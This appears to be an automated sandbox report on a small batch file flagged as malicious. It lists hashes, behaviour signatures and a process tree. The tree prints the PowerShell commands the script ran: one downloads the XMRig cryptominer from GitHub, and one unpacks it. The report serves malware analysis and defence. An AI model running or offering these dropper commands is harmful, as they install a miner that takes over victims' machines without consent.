04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
315s
max time network
1608s
platform
windows10-1703_x64
resource
win10-20231220-en
resource tags

arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
submitted
25-12-2023 11:46

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General

Target

tesy - Copy (13).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe
1796	powershell.exe
1796	powershell.exe
1796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	1796	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 32 wrote to memory of 4768	32	cmd.exe	17
PID 32 wrote to memory of 4768	32	cmd.exe	17
PID 32 wrote to memory of 1796	32	cmd.exe	76
PID 32 wrote to memory of 1796	32	cmd.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:32
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1796

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
42d4b1d78e6e092af15c7aef34e5cf45

SHA1
6cf9d0e674430680f67260194d3185667a2bb77b

SHA256
c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

SHA512
d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b32702d8f6bed28e3f7af65b730c52fd

SHA1
b9459701c8b6859eb48b45325258603e366c9dd1

SHA256
3249c6e0a8c7a16332f457544022f3f1b7c3cd5b2b19e71b442a47ebd5b5e107

SHA512
d2ff704fdaf2539706b54aff6f9af74c3f640fc39100707e4edb6e6a3cd356fd4414677e4ef42eec146241654fb351a1da8d8d5207aff1b5c2128183df8c5f45

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1uwomrdg.lja.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/1796-146-0x00007FFD751E0000-0x00007FFD75BCC000-memory.dmp

Filesize
9.9MB

Download
memory/1796-143-0x0000020311E00000-0x0000020311E10000-memory.dmp

Filesize
64KB

Download
memory/1796-73-0x0000020311E00000-0x0000020311E10000-memory.dmp

Filesize
64KB

Download
memory/1796-46-0x00007FFD751E0000-0x00007FFD75BCC000-memory.dmp

Filesize
9.9MB

Download
memory/1796-48-0x0000020311E00000-0x0000020311E10000-memory.dmp

Filesize
64KB

Download
memory/1796-49-0x0000020311E00000-0x0000020311E10000-memory.dmp

Filesize
64KB

Download
memory/4768-10-0x0000021AF01A0000-0x0000021AF0216000-memory.dmp

Filesize
472KB

Download
memory/4768-25-0x0000021AD79A0000-0x0000021AD79B0000-memory.dmp

Filesize
64KB

Download
memory/4768-4-0x0000021AD7E20000-0x0000021AD7E42000-memory.dmp

Filesize
136KB

Download
memory/4768-41-0x00007FFD751E0000-0x00007FFD75BCC000-memory.dmp

Filesize
9.9MB

Download
memory/4768-7-0x0000021AD79A0000-0x0000021AD79B0000-memory.dmp

Filesize
64KB

Download
memory/4768-9-0x0000021AD79A0000-0x0000021AD79B0000-memory.dmp

Filesize
64KB

Download
memory/4768-6-0x00007FFD751E0000-0x00007FFD75BCC000-memory.dmp

Filesize
9.9MB

Download